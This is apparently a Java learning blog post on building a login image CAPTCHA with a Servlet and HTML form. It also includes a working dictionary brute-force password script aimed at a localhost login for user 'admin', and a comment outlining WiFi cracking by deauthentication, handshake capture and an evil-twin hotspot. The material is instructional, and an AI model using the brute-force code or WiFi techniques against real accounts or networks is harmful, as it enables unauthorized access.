Java学习日记9:登录时验证码的功能以及实现
2017-03-17 13:19
761 查看
登录图形验证码的实现
验证码的作用:防止用恶意破解密码
防止刷票
防止论坛灌水
总之就是避免机器可以进行的反复操作。
验证码原理:
由程序随机生成字母、数字或汉字的图片,并将图片上的内容记在session中,让用记看到图片后将图片上的字母、数字或汉字填写在表单项中提交给服务器,服务端程序将用户填写的信息与Session中的信息进行对比,就知道是不是人填写的,关键在于不让能程序自动识辨出图片上的信息,所以一般我们都加干扰线、点,或旋转、缩放等。
图形验证码的实现(Servlet):
package com.servlet; //随机验证码 import java.awt.Color; import java.awt.Font; import java.awt.Graphics; import java.awt.image.BufferedImage; import java.io.IOException; import java.util.Random; import javax.imageio.ImageIO; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet("/randimg") public class RandImageServlet extends HttpServlet { private static Random rand =new Random();//新建随机对象 @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("image/jpeg");//返回类型为jpeg ServletOutputStream so=resp.getOutputStream();//构建输出流 int width=120;//宽 int height=34;//高 StringBuilder sb=new StringBuilder();//字符串对象 //在内存中画图 BufferedImage img=new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);//图像对象 Graphics g= 4000 img.getGraphics();//画图句柄 g.setColor(new Color(220,220,220));//设置颜色 g.fillRect(0, 0, width, height);//颜色的填充,矩形 //产生点干扰 for(int i=0;i<60;i++)//60个实心圆 { int x=rand.nextInt(width);//随机x int y=rand.nextInt(height);//随机y int w=rand.nextInt(width);//随机w int h=rand.nextInt(height);//随机h g.setColor(new Color(160+rand.nextInt(50),160+rand.nextInt(50),160+rand.nextInt(50)));//随机颜色 g.fillArc(x, y,6, 6, 0,360);//产生(画)实心圆 } int randnum=20;//设置一个随机数的基数 //产生 for(int i=0;i<4;i++)//产生验证码,数字或者是字母 { String temchar=null; if(i%2==0)//如果是2的整数倍 { temchar=randChar();//随机字母 }else { temchar=String.valueOf(rand.nextInt(10));//随机1~9的数字 } sb.append(temchar); //画到界面上 Color color=new Color(80+rand.nextInt(80),80+rand.nextInt(80),80+rand.nextInt(80));//新建一个颜色对象,随机 g.setFont(new Font("宋体",Font.BOLD,26));//字体以及大小 g.setColor(color);//设置字的颜色 if(i==0)randnum=6; else randnum=15; g.drawString(temchar, i*30+randnum, 23+rand.nextInt(15));//设置字在验证码中的位置 } //服务器记住,你画的图片上是什么字符,在session中存入一条信息,名字是sessionimg,内容是字符串对象sb对应的字符串 req.getSession().setAttribute("sessionimg", sb.toString()); ImageIO.write(img,"jpeg", so);//将图片通过输出流输出到客户端 so.close();//关闭输出流 } public static String randChar()//产生随机字母的方法 { String re=null; char c=(char)(65+rand.nextInt(26));//大写字母A对应的ASCII码是65,一共有26个字母 re=String.valueOf(c);//将c赋值到re中 return re; } }
Index页面:
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <body> <center> <form action="checkLogin" method="get"> 用户名 :<input type="text" name="uname"/><br/> 密码:<input type="password" name="upwd"/><br/> 验证码:<input type="text" name="randchar" size="6"/> <!-- 下面这句中的onclick中是一段JavaScript代码,意思是单击就重新发送请求给地址为randimg的Servlet中, 并且随机传过去一个数字,为的是防止浏览器直接从缓存中读取信息 --> <img src="randimg" style="cursor:pointer;" onclick="this.src='randimg?a='+Math.random();"/> <br/> <input type="submit" value="OK"/> </form> </center> </body> </html>
CheckLogin的Servlet:
在CheckLogin的Servlet中加入验证码的session并且与主页传进来的信息进行对比String serverchar=(String)req.getSession().getAttribute("sessionimg");//在session中的到服务器传过来的验证码 //将服务器的验证码和用户输入的验证码全部转为小写,再进行对比,如果正确的话再执行下面的代码 if(null!=serverchar&&serverchar.toLowerCase().equals(randchar.toLowerCase())) { ... }
下面简单演示一下密码的暴力破解(只用于自己测试用):
package com.pj; //暴力破解密码,需要密码字典 import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnection; import java.util.List; import org.apache.commons.io.FileUtils; import org.apache.commons.io.IOUtils; public class PJ { public static void main(String[] args) throws Exception { InputStream fi=PJ.class.getResourceAsStream("/com/pj/pwd.txt"); //将pwd.txt(密码字典)构建一个输入流。 List<String> list=IOUtils.readLines(fi);//从输入流fi中一行一行的读取数据存到list中。 for(String pwd:list)//迭代list { //得到登录页面的servlet的url并且用get传参(知道用户名为admin的情况下) URL url=new URL("http://localhost/servlet31/checkLogin?uname=admin&upwd="+pwd); URLConnection uc=url.openConnection();//打开这个url链接 InputStream is=uc.getInputStream();//建立链接的输入流,读取页面传过来的数据 Thread.sleep(1000);//每试一次空闲1秒 String ret=readUrl2String(is);//读出is(页面)中的数据,并且赋给ret字符串。 //判断这个字符串(页面)中的特征码(就是登陆不不成功的话,就会返回主页,特征码就是主页有并且登陆成功以后没有的信息。) //如果有就代表登陆不成功,密码不正确。 if(ret.indexOf("密码:")!=-1) { System.out.print("*>"); }else { System.out.println("\n正确密码为:"+pwd); } } } //将URL转换为String的方法 public static String readUrl2String(InputStream is)throws Exception { BufferedReader br=new BufferedReader(new InputStreamReader(is));//把is读入内存中,读取is中的数据 StringBuilder sb=new StringBuilder(); String str=null; while(null!=(str=br.readLine())) { sb.append(str); } return sb.toString(); } } /** * wifi破解密码的基本原理: * 向路由器发送很多垃圾信息,将已经在线的设备挤下线,然后该设备会进行重连, * 就可以截取到这个设备发给路由器的信息,不过这个信息是加密的,这时候就可以离线进行暴力破解。 * 就是一个一个加密,然后与截取到的信息进行对比,对比成功之后就破解成功。 * * 网上搜索:奶瓶破解 * * * 还有一种取证手段:蜜罐技术 * 可以自己设置一个热点,名字和目标设备连接过的WiFi名字一样,该设备就会自动连接,就会发过来信息, * 这时候我们就只接受信息存储下来,并且不回任何信息,可以得到许多信息。 * 当然这只是很浅显的一种,具体的可以百度搜索。 * * * */
今天就到这里啦~
相关文章推荐
- salesforce 零基础学习(五十一)使用 Salesforce.com SOAP API 实现用户登录以及简单的增删改查(JAVA访问salesforce)
- Java菜鸟学习笔记(5)--用Math.random()实现验证码功能
- JavaWeb学习记录(六)——用户登录功能之Session与验证码验证功能的实现
- MVC3学习第十四章 佟掌柜第三弹——MVC3下利用陕北吴旗娃的验证码控件实现验证码功能以及在mvc3下使用编辑器
- 【学习笔记⑦】登录页面怎样实现验证码登录功能
- java实现登录页面的验证码功能
- Java菜鸟学习笔记--语法篇(一):用Math.random()实现验证码功能
- Java实现随机验证码功能实例
- Java实现随机验证码功能实例
- JSP+JAVA+MYSQL编写分页功能以及登录注册功能(有小问题,尚未解决,仅供参考)
- Java实现随机验证码功能实例
- 在Java中实现.net中DataTable功能以及操作双数据库的List连接问题解决方案探究
- 使用Java程序实现随机验证码功能的实例
- 使用Java程序实现随机验证码功能的实例
- java swing 基本实现QQ截屏功能,很简陋但有学习价值
- Flex结合java实现一个登录功能
- java 验证码的实现 以及 使用
- 关于java打印功能的最简单实现的学习笔记
- Java实现随机验证码功能实例
- Java实现随机验证码功能实例